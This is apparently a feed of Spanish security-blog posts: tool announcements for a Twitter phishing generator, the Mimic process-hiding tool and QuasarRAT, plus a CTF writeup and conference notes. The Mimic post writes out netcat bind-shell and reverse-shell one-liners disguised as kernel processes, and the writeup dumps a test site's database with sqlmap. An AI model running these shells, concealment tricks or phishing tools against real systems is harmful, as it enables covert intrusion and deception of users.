Quantcast
Channel: hackplayers
Viewing all 1668 articles
Browse latest View live

PoT: saliendo a pescar en Twitter

$
0
0
PoT acrónimo de 'Phishing on Twitter' es una sencilla herramienta escrita en Python que genera automáticamente tweets de phishing y los envía a la víctima. Funciona en tres pasos:

1- Recopila datos de la cuenta de Twitter objetivo
2- Encuentra el amigo del objetivo y copia su cuenta
3- Generar el texto del tweet automáticamente con el algoritmo de cadena de markov y lo envía

Instalación

git clone https://github.com/omergunal/PoT
cd PoT
pip3 install -r requirements.txt


Actualiza tus API keys en "PoT.py" (para obtenerlas visita previamente https://apps.twitter.com/)

Uso

python3 PoT.py [nombre_cuenta_objetivo]

Demo


 Github: https://github.com/omergunal/PoT

Estándar de Verificación de Seguridad de Aplicaciones Móviles (MASVS) 1.0 de OWASP en español

$
0
0
Ya tenemos disponible en español el Estándar de Verificación de Seguridad de Aplicaciones Móviles (MASVS, en inglés Mobile Application Security Verification Standard) de OWASP, un esfuerzo comunitario para establecer un marco de requisitos de seguridad necesarios para diseñar, desarrollar y probar aplicaciones móviles seguras en iOS y Android.

El MASVS se puede utilizar para establecer un nivel de confianza en la seguridad de las aplicaciones móviles. Los requerimientos fueron desarrollados con los siguientes objetivos en mente:

- Usar como una métrica - Para proporcionar un estándar de seguridad contra el cual las aplicaciones móviles existentes pueden ser comparadas por desarrolladores y los propietarios de las aplicaciones;
- Utilizar como guía - Proporcionar una guía durante todas las fases del desarrollo y prueba de las aplicaciones móviles;
- Usar durante la contratación - Proporcionar una línea de base para la verificación de seguridad de aplicaciones móviles.

Modelo de seguridad para una aplicación móvil

El MASVS define dos niveles estrictos de verificación de seguridad (L1 y L2), así como un conjunto de requisitos de resistencia a la ingeniería inversa (MASVS-R) flexible, es decir, adaptable a un modelo de amenaza específico de la aplicación.



Los niveles MASVS-L1 y MASVS-L2 contienen requerimientos genéricos de seguridad recomendados para todas las aplicaciones móviles (L1) y para aplicaciones que manejan datos altamente sensibles (L2).

MASVS-R cubre los controles de seguridad adicionales que se pueden aplicar si la prevención de las amenazas del lado del cliente son un objetivo de diseño.

Cumplir con los requerimientos de MASVS-L1 resulta en una aplicación segura que sigue las mejores prácticas de seguridad y no sufre de las vulnerabilidades más comunes. MASVS-L2 añade controles adicionales de defensa en profundidad, como la fijación de certificados SSL, lo
que resulta en una aplicación resistente a ataques más sofisticados, asumiendo que los controles de seguridad del sistema operativo móvil estén intactos y que el usuario final no sea visto como un adversario potencial.

El cumplimiento de todos o de un subconjunto de los requerimientos de protección del software en el nivel MASVS-R ayuda a impedir amenazas
específicas del lado del cliente cuando el usuario final es considerado malicioso y/o el sistema operativo móvil está comprometido.

Proyecto: https://github.com/OWASP/owasp-masvs/releases/tag/1.0-ES
DocumentoOWASP_Mobile_AppSec_Verification_Standard_v1.0-ES.pdf

Solución al reto 23 "Hacker War"

$
0
0
Un espectrograma es una representación visual del espectro de frecuencias de sonido u otra señal en un periodo de tiempo. Normalmente los espectrogramas de audio se suelen usar para identificar palabras habladas fonéticamente y para analizar las diversas llamadas de animales pero, ¿podrían usarse también para ocultar información en un fichero de audio?

Si hicisteis el reto 23 que planteaba _Stuxnet sabeis que la respuesta es afirmativa. Para resolverlo bastaba con descargar la pista de música modificada de "Hacker War" y analizar su espectrograma con un programa como Audacity. Si no lo tenéis instalado y queréis probarlo:

sudo add-apt-repository ppa:ubuntuhandbook1/audacity
sudo apt-get update

sudo apt-get install audacity


(si queréis borrarlo después de las pruebas: sudo apt-get remove --autoremove audacity audacity-data)

Ahora abrimos el fichero y en el desplegable de la izquierda seleccionamos 'Spectrogram':


Si os fijáis a la derecha del todo aparece el texto oculto:


Si hacemos un poco zoom, vemos la frase oculta "Try Header" (una flag no "muy afortunada" _Stuxnet ;) )


Si estáis interesados en este tipo de técnica de esteganografía os recomiendo que echéis un vistazo al post del polaco solusipse 'Basic methods of Audio Steganography (spectrograms)' en el que inserta una imagen en el espetrograma de un audio y luego lo mezcla con una canción (320kbps) para que pase desapercibido.

Además publicó un script en python (spectrology.py) que facilitita la conversión de imágenes en archivos de audio con el codificador de espectrogramas correspondiente.

No hay nada más odioso que la música sin significado oculto - Frédéric Chopin

pd. Gracias a _Stuxnet por el reto y enhorabuena a los ganadores:

Fr4nRm
Javi Petrucci
1v4n
boxen
 

Vulnerabilidades de los drones (by María José Cortés #hc0n2018)

$
0
0
Otra charla muy esperada en la h-c0n fue la de María José Cortés sobre el análisis de vulnerabilidades en drones. Responsable de producto y soluciones en Thales, María José tuvo que empalmar prácticamente una presentación que hizo en el norte de España con su ponencia en nuestra conferencia, con la dificultad añadida de que coincidió con un fuerte temporal de tormentas y nieve, por lo que no podemos hacer otra cosa que volverle a agradecer, y doblemente, su esfuerzo por estar con nosotros.

Además su empresa expuso durante el evento una maqueta a tamaño real de un espectacular Gecko Optronics, un sistema avanzado de identificación y sequimiento de drones que incorpora una cámara térmica de largo alcance y permite el tracking de video de micro UAVs (tipo Phantom) a más de 2 kms.

Todos los que estuvisteis allí pudisteis verlo junto con la magnífica charla de María José, para los que no o para los que además quieran tener el material, aquí os dejamos sus slides:


Avión no tripulado (UAV) Fulmar:


Fotos:




Enlaces:

http://www.h-c0n.com/p/ponentes.html#Maria
http://www.h-c0n.com/p/ponencias.html#Drones

Mimic: una herramienta para ocultar procesos en Linux incluso sin privilegios

$
0
0
Mimic es una herramienta para la ejecución encubierta de procesos en Linux x86_64. Para ello, Mimic puede lanzar cualquier programa y hacer que se vea como cualquier otro programa. Cualquier usuario puede usarlo. No requiere permisos especiales. No requiere binarios especiales. No requiere un rootkit.

¡¿Qué?! ¿Sin privilegios especiales? Correcto. Mimic funciona reorganizando las estructuras internas de un proceso de tal manera que confunde la entrada de /proc para ese proceso. Todas las herramientas que informan de la naturaleza de un proceso lo hacen examinando /proc. Si podemos "doblar" /proc, entonces podemos ocultar un proceso a simple vista. Como solo estamos alterando el estado de un proceso que poseemos, cualquiera puede ejecutar con éxito el Mimic.

Mimic utiliza un pequeño programa (set_target_pid) que agotará los pids hasta que vuelva al que se desea. Esto permite elegir en qué parte del proceso deseamos incluir nuestro proceso. Hay que tener en cuenta que el kernel reserva los primeros 300 pids para los threads del kernel. Si intentamos ir por debajo de eso, probablemente terminaremos corriendo con pid 301.

Por supuesto que cualquiera puede llegar a detectar ésto, pero sólo si está mirando muy de cerca o si ejecuta una herramienta forense que está buscando este tipo de cosas. El objetivo y la verdadera utilidad de Mimic es que evitará que alguien sospeche en primer lugar.

Uso:
usage: mimic -e COMMAND [-m MIMIC] [-b] [-a KEY=VALUE] [-q] [-h]
    -e    Execute COMMAND.
    -m    Setup COMMAND to look like MIMIC.
            Default for non-root is:    "/usr/sbin/apache2 -k start"
            Default for root is:        "[kworker/0:0]"
    -b    Launch COMMAND in the background.
    -a    Add / overwrite KEY to the mimic environment with associated VALUE.
    -r    Raw mimic string. Do not process it in the normal way. (Useful for name fuzzing / mangling.)
    -q    Be quiet! Do not print normal output.
    -h    Print this helpful message.

    Notes:
        The MIMIC environment will be a copy of the COMMAND environment.
        The '_' variable is automatically changed.
        The -a flag can be called multiple times to add / overwrite multiple variables.

    Examples:
        mimic -e /bin/bash
        set_target_pid 1 && mimic -e /bin/bash
        mimic -b -e "./revsh"
        mimic -b -e "nc -l -e /bin/bash"
        mimic -b -e "nc -l -e \"mimic -e /bin/bash\""

Mimic puede usarse también con scripts pero sólo si se llama directamente en el intérprete. Por ejemplo, si la primera línea del script es "#!/usr/bin/perl", podremos llamar a Mimic de esta manera:
empty@monkey:~$ mimic -e "/usr/bin/perl test.pl"

Ejemplos:

Ejecutando un listener como root:

# ./mimic -b -e "/usr/bin/ncat -l -e \"./mimic -e /bin/bash\""
Launching child...            Success!
Waiting for child to attach...        Success!
Initializing ptrace_do...        Success!
Determining stack state...        Success!
Politely requesting name change...    Success!
Searching for main()...            Success!
Building execution headers...        Success!
Setting up final state...        Success!

    Good-bye and have a good luck! :)

# netstat -an | grep 31337
tcp        0      0 0.0.0.0:31337           0.0.0.0:*               ESCUCHAR  
tcp6       0      0 :::31337                :::*                    ESCUCHAR 

Como podéis comprobar ha levantado el puerto 31337 pero si miramos el proceso de netcat no será visible porque en su lugar ha sido sustituido por kworker:
# lsof -i TCP:31337
COMMAND    PID USER   FD   TYPE DEVICE SIZE/OFF NODE NAME
kworker/0 4813 root    3u  IPv6 100982      0t0  TCP *:31337 (LISTEN)
kworker/0 4813 root    4u  IPv4 100983      0t0  TCP *:31337 (LISTEN)

"[kworker/0:0]" es el proceso por defecto si lanzamos mimic como root, con cualquier otro usuario sería "Apache 2", pero ambos pueden cambiarse indicándolo como parámetro. El nuevo mombre de proceso es sólo un string, no tiene que ser un proceso existente.

Otro ejemplo, si queremos ejecutar una shell reversa con nc el comando de una sóla línea sería:
root@monkey:~$ /home/empty/code/mimic/set_target_pid 1 && /home/empty/code/mimic/mimic -b -q -e "/usr/local/bin/ncat -e \"/home/empty/code/mimic/mimic -e \\\"/bin/bash\\\"\" localhost 9999"

Instalación
git clone https://github.com/emptymonkey/ptrace_do.git
cd ptrace_do
make
cd ..

git clone https://github.com/emptymonkey/mimic.git
cd mimic
make

Proyecto: https://github.com/emptymonkey/mimic

Writeups CTF ForoCiber2018

$
0
0
Este martes con motivo del II Forociber, la Universidad de Extremadura junto con la empresa Viewnext abría un pequeño CTF de 72 horas de duración que planteaba 5 4 retos. Además de ser breve incluía premios como material tecnológico para los tres primeros clasificados, así que decidí dedicarle tiempo y jugar.

La verdad es que resultó entretenido y como el nivel era bastante asequible pude completarlo en tan sólo unas horas, resultando ganador. Sin embargo (zote de mí) no leí en las bases de participación que para optar a los premios la edad máxima era 35 años y mi premio se quedó en un simple reconocimiento (gracias a ToTe de la organización) y, eso sí, la diversión y el entretenimiento de cuándo estuve realizándolo.

Ya comenté que 35 años me parecía un corte absurdo, incluso discriminatorio.  Si se buscan promesas, la bajaría si acaso a 25 que es más o menos cuando un estudiante comienza su andadura profesional. ¿Pero 35? a los 30 ya era senior y tenía más tiempo para hacer CTFs... pero en fín, las reglas son las reglas y por lo menos voy a poder dejaros el siguiente post con las soluciones.

RETO 1 - Un Sysadmin perezoso

Retador

Alberto Ledo (@0x13d0): Administrador de Sistemas de la Universidad de Extremadura.

Descripción

Miguel es un sysadmin que forma parte de un proceso de selección para la empresa S2A. La empresa, en la primeras fases del proceso necesita medir los conocimientos generales de administración y seguridad en sistemas de los candidatos, así como los conocimientos que poseen sobre malos hábitos del administrador de sistemas.

Para ello S2A prepara una prueba con la que poder realizar una primera selección de candidatos. Se trata de esta misma prueba. Proporcionan a Miguel la dirección IP de un servidor que llegó a producción cuando aún debía estar en fase de test.

Para superar la prueba Miguel debe encontrar unas palabras escondidas en el algún lugar en el servidor, ¿Ayudas a Miguel?

Materiales

La IP del servidor en el que debe buscar Miguel es: 34.217.203.163

Writeup (10 puntos)

Empezamos como casi siempre con un escaneo de puertos:

# nmap -A -Pn 34.217.203.163
 

3306/tcp open mysql MySQL 5.5.5-10.1.26-MariaDB-0+deb9u1
55555/tcp open ssh
OpenSSH 7.4p1 Debian 10+deb9u2 (protocol 2.0)


Vale, tenemos abierto dos puertos. Empezaremos con mysql... Si es un administrador de sistemas perezoso... seguro que las credenciales deben ser totalmente predecibles:

# mysql -u admin -p -h 34.217.203.163
Enter password:
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 437232
Server version: 5.5.5-10.1.26-MariaDB-0+deb9u1 Debian 9.1

Copyright (c) 2000, 2018, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> 


Bingo! El usuario es admin y la contraseña admin.


Como veis tenemos una base de datos 'forociber2018' con una tabla 'forociber' que tiene un campo 'flag'...


Y ya tenemos la primera flag: "Y CIBERDERECHO". Continuamos al siguiente...

RETO DOBLE - Ataca a mi web server...

Retador

Fran Moraga (@BTshell): Analista de Inteligencia y Pentester Informático.

Descripción

Hola Hacker, tenemos una nueva misión para ti, nos han encargado obtener una información que está contenida en un servidor esta información son dos palabras con las que poder acceder a unso archivos secretos.

Para poder acceder a dicha información necesitamos el nombre de usuario y contraseña para poder acceder al servidor desde el terminal. Dicho terminal se encuentra en l URL: http://www.pentestlab.es/sh.php

Un confidente anonimo nos ha dicho que los datos de acceso los podemos encontrar en la base de datos de la URL: http://testphp.vulnweb.com/artists.php?artist=1  por lo que en esta primera fase habría que extraer la base de datos de esta URL.

Contamos contigo para obtener dicha información...

Writeup (15 + 20 puntos)

Primero visitamos la url http://www.pentestlab.es/sh.php:

El texto "yn cnffjbeq rf ry ahzreb qr gryrsbab" está ofuscado con Rot13, en claro sería "la password es el numero de telefono".

Sin duda una gran pista... así que vamos a visitar la segunda web http://testphp.vulnweb.com/artists.php?artist=1:

Esta web es muy conocida, pues es el sitio de prueba del famoso escáner de vulnerabilidades web Acunetix. De sobra sabemos que el vulnerable a SQLi, así que para mayor rapidez usamos sqlmap:

# sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1 --dbs

La base de datos objetivo es 'acuart' así que sacamos sus tablas:

sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1 -D acuart --tables


Ni que decir tiene que la tabla usuarios contiene lo que buscamos:

# sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1 -D acuart -T users --dump

Tenemos el username 'test' y la contraseña. como nos indicaba la pista anterior, es el número de teléfono. Así que sólo queda probar:


Y oulá! Accedemos y obtenemos una frase reveladora:

jefe_le_dejo_las_2_palabras_clave_con_las_que_acceder_a_los_
archivos_secretos___VAIRFGVTNPVBA______SBERAFR_____estan_
cifradas_por_seguridad_estamos_en_contacto

E igual que antes, sólo tenemos que desofuscar con ROT13 las flags finales:

VAIRFGVTNPVBA: INVESTIGACION

SBERAFR: FORENSE

RETO 4 - Un día cualquier como analista forense

Retador

Manuel López Guerra (@CiberPoliES): Analista Forense de la Sección Técnica de la Unidad Central de Investigación Tecnológica de la Policía Nacional.

Descripción

En este apartado como retador, la organización me pide que escriba una historia ficticia para poner en situación a cada uno de los competidores sobre el reto al que se van a enfrentar. No lo voy a hacer, ya que este, no es un reto ficticio. Este es un reto real (las evidencias no), está basado completamente en un caso real que he tenido que resolver como analista forense.

¿Serás capaz de resolver el crimen?


Materiales
Prueba del crimen

Writeup (25 puntos)

El material entregado es un fichero .tar.gz IMAGEN_DIFU_ForoCIBER_m4nu_GLIDER_Forense_MD5 _e1b316594ff7bf55c8f8488f5aff4a7b.tar.gz”que al desempaquetar/decomprimir arroja, nada más y nada menos, que miles de archivos:

Un archivo sin embargo tiene extensión .info "IMAGEN_ForoCIBER_m4nu_GLIDER_Forense.info", si le echamos un vistazo veremos que lo que tenemos entre manos es un imagen en raw de una adquisición de un S.O. Linux (.dd):

Así que vamos a juntar todos los ficheros, lanzamos el siguiente loop y aprovechamos para tomar un café (tarda unos 30 min.):

# for i in $(ls); do cat $i >> imagen.raw; done

Una vez que tenemos la imagen la montamos para ver su contenido:

# mount imagen.raw /mnt/borrar/
# ls
drivers pc Asus manu 2012.zip index.jpeg rock.jpeg Slider-Web-Ciber_.jpg yeah.zip

Hay varios archivos comprimidos con contraseña y una imagen "rock.jpg" es más que suficiente pista para saber que tenemos que realizar un ataque de diccionario con el famoso rockyou.txt:

# fcrackzip -v -D -u -p /home/vmotos/diccios/rockyou.txt drivers\ pc\ Asus\ manu\ 2012.zip
found file 'drivers pc manu 2012.doc', (size cp/uc 986146/986349, flags 9, chk a390) 

PASSWORD FOUND!!!!: pw == chocolate

Vale, hemos encontrado la password del archivo "drivers pc Asus manu 2012.zip", veamos su contenido:

# unzip drivers\ pc\ Asus\ manu\ 2012.zip
Archive: drivers pc Asus manu 2012.zip
[drivers pc Asus manu 2012.zip] drivers pc manu 2012.doc password:
inflating: drivers pc manu 2012.doc 

Tenemos un archivo doc... que realmente es un rar:

# file drivers\ pc\ manu\ 2012.doc
drivers pc manu 2012.doc: RAR archive data, v4, os: Win32

Lo descomprimimos:

# unrar "drivers pc manu 2012.doc"

unrar 0.0.1 Copyright (C) 2004 Ben Asselstine, Jeroen Dekkers

Extracting from /home/vmotos/Escritorio/extremaydura/4.forense/extraido/drivers pc manu 2012.doc

Extracting drivers pc manu 2012/ara.jpg OK
Extracting drivers pc manu 2012/ciberpoli.jpg OK
Extracting drivers pc manu 2012/felicitacionnavidad2018.gif OK
Extracting drivers pc manu 2012/glider_retro.jpg OK
Extracting drivers pc manu 2012/reto.jpg OK
Extracting drivers pc manu 2012/secret.png OK
All OK

Y en una de esas imágenes tenemos en sus metadatos la flag final del reto:

# file ara.jpg
ara.jpg: JPEG image data, JFIF standard 1.01, resolution (DPI), density 300x300, segment
length 16, Exif Standard: [TIFF image data, big-endian, direntries=4, manufacturer=fl4g->
INFORMATICA
, model=X-T10], baseline, precision 8, 511x340, frames 3

RETO 5 - Lo que ves puede no ser lo que hay...

Retador 

José Aurelio García (@JagmTwit): Auditor y Perito Informático.

Descripción

Alguien ha enviado un archivo con una palabra, oculto en alguna parte de un fichero IMG, mediante técnicas esteganográficas. Debes encontrar "la palabra mágica".

Recuerda: los límites de la esteganografía están allí donde estén los límites de tu imaginación.

Materiales:

ForoCTF

Writeup (30 puntos):

En el último reto nos facilitan otra imagen: 

# file ForoCTF.img
ForoCTF.img: DOS/MBR boot sector, code offset 0x52+2, OEM-ID "NTFS ",
sectors/cluster 8, Media descriptor 0xf8, sectors/track 63, heads 255, hidden sectors 2048,
dos < 4.0 BootSector (0x0), FAT (1Y bit by descriptor); NTFS, sectors/track 63, physical
drive 0x80, sectors 40959, $MFT start cluster 1706, $MFTMirror start cluster 2,
bytes/RecordSegment 2^(-1*246), clusters/index block 1, serial number
0d0247d9c247d866e

Vemos que el sistemas de ficheros es NTFS así que procedemos a montarlo:

# ntfs-3g ForoCTF.img /mnt/borrar

# ls -al /mnt/borrar
total 5528
drwxrwxrwx 1 root root 4096 feb 24 23:12 .
drwxr-xr-x 3 root root 4096 feb 27 15:26 ..
drwxrwxrwx 1 root root 0 feb 24 22:22 HxDSetupES
drwxrwxrwx 1 root root 0 feb 24 23:12 Imagenes
drwxrwxrwx 1 root root 0 feb 24 22:22 jphs05
-rwxrwxrwx 1 root root 83456 sep 10 2015 MD5_and_SHA_Checksum_Utility.exe
-rwxrwxrwx 1 root root 5562976 feb 17 06:32 RecuvaSetup153.exe
drwxrwxrwx 1 root root 0 feb 24 22:21 System Volume Information

Las herramientas son más que reveladoras... Si aparece Recuva está claro que hay que recuperar algunos archivos borrados, pero para tal cometido utilizaré simplemente ntfsundelete:

# ntfsundelete ForoCTF.img
Inode Flags %age Date Time Size Filename
-----------------------------------------------------------------------
16 F..! 0% 1970-01-01 01:00 0
17 F..! 0% 1970-01-01 01:00 0
18 F..! 0% 1970-01-01 01:00 0
19 F..! 0% 1970-01-01 01:00 0
20 F..! 0% 1970-01-01 01:00 0
21 F..! 0% 1970-01-01 01:00 0
22 F..! 0% 1970-01-01 01:00 0
23 F..! 0% 1970-01-01 01:00 0
49 FN.. 100% 2018-02-24 19:53 438684 ForoCiber.jpg
52 FR.. 100% 2018-02-24 20:03 178 Leeme.txt

53 F..! 0% 1970-01-01 01:00 0
54 F..! 0% 1970-01-01 01:00 0
55 F..! 0% 1970-01-01 01:00 0
56 F..! 0% 1970-01-01 01:00 0
57 F..! 0% 1970-01-01 01:00 0
58 F..! 0% 1970-01-01 01:00 0
59 F..! 0% 1970-01-01 01:00 0
... 

# ntfsundelete -u ForoCTF.img -m ForoCiber.jpg
Inode Flags %age Date Time Size Filename
-----------------------------------------------------------------------
49 FN.. 100% 2018-02-24 19:53 438684 ForoCiber.jpg
Undeleted 'ForoCiber.jpg' successfully.

# ntfsundelete -u ForoCTF.img -m Leeme.txt
Inode Flags %age Date Time Size Filename
-----------------------------------------------------------------------
52 FR.. 100% 2018-02-24 20:03 178 Leeme.txt
Undeleted 'Leeme.txt' successfully.
Undeleted 'Leeme.txt:adicional.txt' successfully.
Files with potentially recoverable content: 1

Vaya, vaya... al recuperar Leeme.txt hemos recuperado también otro regalo adicional:

# cat Leeme.txt
En este Volumen hay una imagen en la que se encuentra la soluci � n de este ciberreto.
Tienes Todo lo que necesitas aqu � .
��� nimo!!

# cat  Leeme.txt:adicional.txt
Esta imagen es en verdad un EstegoContenedor. La clave de Descifrado la tienes en esta r�plica, en Mega:

https://mega.nz/#!AS5CwbrK!2A2VkdMXZGJVEpbhom3R7ffITKCTN9lDzOuDx_U733o

Tenemos otra imagen que según nos anuncian contiene la clave de descifrado, y su nombre está en hexadecimal.. pero ni si quiera nos hace falta usar un editor hexadecimal, basta un simple strings:

$ strings 000745B0x48.jpg | grep Clave
---La Clave de Descifrado de JpHide es "CTFConseguido", sin las comillas.i

Así que con la password usamos la herramienta de esteganografía jseek y:

$ wine jpseek.exe /home/vmotos/extremaydura/000745B0x48.jpg test
Welcome to jpseek Rev 0.51
(c) 1998 Allan Latham
This program is freeware.
No charge is made for its use.
Use at your own risk. No liability accepted whatever happens.
Contains cryptogaphy which may be subject to local laws.
Passphrase:

 $ cat test
Has Superado Tu reto!!!!
La palabra que debías adivinar es
CIBERMOOC
¡¡felicidades!!!

Con esto completé los 4-5 retos, mandé el correspondiente informe de evidencias y...

LMAO! Espero que os haya gustado. Me retiro al asilo, nos vemos en el siguiente!

QuasarRAT: un RAT libre y open source para Windows

$
0
0
Quasar es una herramienta de administración remota (RAT) rápida y liviana programada en C#. Es una buena solución de administración remota al proporcionar una gran estabilidad y una interfaz de usuario fácil de usar.


Características

- Transmisión de red TCP (compatibilidad con IPv4 e IPv6)
- Serialización de red rápida (NetSerializer)
- Comunicación comprimida (QuickLZ) y cifrada (AES-128)
- Multi-hilo
- Soporte de UPnP
- Soporte de No-Ip.com
- Visita del sitio web (oculto y visible)
- Mostrar Messagebox
- Administrador de tareas
- Administrador de archivos
- Administrador de inicio
- Escritorio remoto
- Cámara web remota
- Shell remoto
- Descargar y ejecutar
- Cargar y ejecutar
- Información del sistema
- Comandos de equipo (reiniciar, apagar, en espera)
- Keylogger (Soporte Unicode)
- Proxy inverso (SOCKS5)
- Recuperación de contraseña (navegadores comunes y clientes FTP)
- Editor de registro

Requisitos

- .NET Framework 4.0 Client Profile (Descargar)
- Sistemas operativos admitidos (32 y 64 bits)
- Windows XP SP3
- Windows Server 2003
- Windows Vista
- Windows Server 2008
- Windows 7
- Windows Server 2012
- Windows 8 / 8.1
- Windows 10

Compilando

Abre el proyecto en Visual Studio y haz clic en compilar, o usa uno de los archivos por lotes (batch) incluidos en el directorio raíz.

- build-debug.bat Compila la aplicación usando la configuración de depuración (para probar)
- build-release.bat crea la aplicación utilizando la configuración de release (para publicación)

Fuente: https://github.com/quasar/QuasarRAT

Cuckoo'n'Roll (by Andriy Brukhovetskyy #hc0n2018)

$
0
0
Hoy os traemos la ponencia titulada "Cuckoo'n'Roll" que dio Andriy Brukhovetskyy (@D00m3dR4v3n) en la h-c0n el pasado mes de febrero sobre Cuckoo Sandbox, herramienta open source para el análisis automático de malware que ha ido ganando notoriedad desde su creación en 2010.

Analista de Malware y activo colaborador en proyectos Open Source, Andriy comenzó su andadura laboral en Ciberseguridad como becario en eCrime de S21sec. Actualmente trabaja en FireEye iSight Partners.


- Fotos:





- Enlaces (web h-c0n):

http://www.h-c0n.com/p/ponentes.html#Andriy
http://www.h-c0n.com/p/ponencias.html#Cuckoo

- Enlaces:

https://cuckoosandbox.org/

CTFR, exprimiendo la transparencia de los certificados SSL

$
0
0
Una de las fases del pentesting más importante, sobre todo en entornos de caja negra, es la enumeración, gracias a ella podremos hacernos una idea de la infraestructura que pretendemos auditar como servidores expuestos en Internet, puertos abiertos, subdominios... Con ello podremos encontrar partes de la infraestructura vulnerables a distintas clases de ataques, de aquí parte la frase de Abraham Lincoln:


“Dame seis horas para cortar un árbol y pasaré las primeras cuatro afilando el hacha”

Uno de los puntos fundamentales a la hora de enumerar son los servidores DNS, ya que algunas veces son una de las partes más descuidadas y que una mala configuración de los mismos nos puede proveer multitud de información sensible que nos puede facilitar la labor de penetración. La zona de transferencia, también llamada AXFR, puede ser una de las piezas críticas para la recolección de infomación, una mala configuración como que un servidor maestro no filtre por direcciones IP qué servidores esclavos pueden realizar transferencias, ocasionaría que cualquier atacante pueda consultar por las zonas de los dominios que el servidor maestro administra, pudiendo enumerar subdominios o zonas más sensibles.


Otro de los puntos que también se deben tener muy en cuenta a día de hoy es la transparencia de certificados, un proyecto promovido por Google que busca solventar defectos estructurales de los certificados SSL que ponen en peligro las comunicaciones cifradas por Internet y comprometen mecanismos como TLS/SSL, pudiendo de esta manera ser aprovechado por un atacante para suplantar identidad o para realizar ataques MITM. Con la transparencia de certificados se podrán eliminar estos defectos ya que se crea un open framework para monitorizar y auditar certificados SSL a tiempo real, permitiendo la fácil detección de certificados emitidos erroneamente o maliciosamente.

Por suerte para los pentesters, esto se puede usar para enumerar también, gracias a una nueva herramienta de Sheila A. Berta publicada en GitHub recientemente. Llamada CTFR, abusa de los logs de los certificados SSL mediante la transparencia de certificados gracias al buscador de certificados crt.sh. Con esta herramienta podremos enumerar automáticamente subdominios ocultos que pueden albergar información sensible o ser zonas explotables gracias consultas a crt.sh. Podremos obtener resultados muy semejantes a los explicados anteriormente con AXFR.

Su instalación muy sencilla:
root@KaoRz:/home/KaoRz# git clone https://github.com/UnaPibaGeek/ctfr
Cloning into 'ctfr'...
remote: Counting objects: 56, done.
remote: Compressing objects: 100% (51/51), done.
remote: Total 56 (delta 19), reused 10 (delta 3), pack-reused 0
Unpacking objects: 100% (56/56), done.

root@KaoRz:/home/KaoRz# cd ctfr/

root@KaoRz:/home/KaoRz/ctfr# pip install -r requirements.txt
Requirement already satisfied: requests in /usr/lib/python2.7/dist-packages (from -r requirements.txt (line 1))
Collecting pyfiglet (from -r requirements.txt (line 2))
Downloading pyfiglet-0.7.5.tar.gz (767kB)
100% |████████████████████████████████| 768kB 1.1MB/s
Building wheels for collected packages: pyfiglet
Running setup.py bdist_wheel for pyfiglet ... done
Stored in directory: /root/.cache/pip/wheels/22/64/50/061d962f0938800687c7d965aec42c3c3b5344634f2242f3d8
Successfully built pyfiglet
Installing collected packages: pyfiglet
Successfully installed pyfiglet-0.7.5

root@KaoRz:/home/KaoRz/ctfr# python ctfr.py
____ _____ _____ ____
/ ___|_ _| ___| _ \
| | | | | |_ | |_) |
| |___ | | | _| | _ <
\____| |_| |_| |_| \_\

Version 1.1 - Hey don't miss AXFR!
Made by Sheila A. Berta (UnaPibaGeek)

usage: ctfr.py [-h] -d DOMAIN [-o OUTPUT]
ctfr.py: error: argument -d/--domain is requiredComo
Por ejemplo, vamos a tratar de enumerar los subdominios de twitter.com:
root@KaoRz:/home/KaoRz/ctfr# python ctfr.py -d twitter.com
____ _____ _____ ____
/ ___|_ _| ___| _ \
| | | | | |_ | |_) |
| |___ | | | _| | _ <
\____| |_| |_| |_| \_\

Version 1.1 - Hey don't miss AXFR!
Made by Sheila A. Berta (UnaPibaGeek)


[!] ---- TARGET: twitter.com ---- [!]

[-] *.atla.twitter.com
[-] *.local.twitter.com
[-] *.smf1.twitter.com
[-] *.twitter.com
[-] 0.twitter.com
[-] Platform.twitter.com
[-] access.twitter.com
[-] alerts.atlb.twitter.com
[-] alerts.atlc.twitter.com
[-] alerts.smfc.twitter.com
[-] anywhere.platform.twitter.com
[-] api.netsec.smfc.twitter.com
[-] api.twitter.com
[-] app.tweet.twitter.com
[-] atla.twitter.com
[-] atlc-vpn1-au.net.twitter.com
[-] atlc-vpn2-au.net.twitter.com
[-] betastream.twitter.com
[-] caps.twitter.com
[-] cdn-dev.api.twitter.com
[-] cdn.api.twitter.com
[-] cdn.syndication.twitter.com
[-] cert.twitter.com
[-] click.e.twitter.com
[-] collector-ops.twitter.com
[-] cuckoo-lb.atlb.twitter.com
[-] cuckoo-lb.atlc.twitter.com
[-] cuckoo-lb.smfc.twitter.com
[-] cuckoo.atlb.twitter.com
[-] cuckoo.atlc.twitter.com
[-] cuckoo.smfc.twitter.com
[-] dev.twitter.com
[-] failover-cdn.api.twitter.com
[-] failover-urls.api.twitter.com
[-] images.tweet.twitter.com
[-] koalabird.atlb.twitter.com
[-] koalabird.atlc.twitter.com
[-] koalabird.smfc.twitter.com
[-] local.twitter.com
[-] mobile-staging1.twitter.com
[-] mobile-staging2.twitter.com
[-] mobile-staging3.twitter.com
[-] mobile-staging4.twitter.com
[-] mobile-staging5.twitter.com
[-] mobile.twitter.com
[-] ms1.twitter.com
[-] ms2.twitter.com
[-] ms3.twitter.com
[-] ms4.twitter.com
[-] ms5.twitter.com
[-] music-partner.twitter.com
[-] music.twitter.com
[-] mx3.twitter.com
[-] mx4.twitter.com
[-] nauth-lab-au1.net.twitter.com
[-] nauth1.atlc.twitter.com
[-] nauth1.smfc.twitter.com
[-] nauth2.atlc.twitter.com
[-] nauth2.smfc.twitter.com
[-] p.twitter.com
[-] pages.e.twitter.com
[-] partner-stream.twitter.com
[-] partnerstream1.twitter.com
[-] partnerstream2.twitter.com
[-] pay.twitter.com
[-] platform.twitter.com
[-] platform0.twitter.com
[-] platform1.twitter.com
[-] platform2.twitter.com
[-] platform3.twitter.com
[-] preview-0.cdn.twitter.com
[-] preview-dev.cdn.twitter.com
[-] preview-stage.cdn.twitter.com
[-] preview.cdn.twitter.com
[-] pulseone-api.smfc.twitter.com
[-] pulseone-ui.smfc.twitter.com
[-] pulseone.netsec.smfc.twitter.com
[-] pulseone.smfc.twitter.com
[-] pulseone1.netsec.smfc.twitter.com
[-] pulseone1.smfc.twitter.com
[-] pulseone2.netsec.smfc.twitter.com
[-] pulseone2.smfc.twitter.com
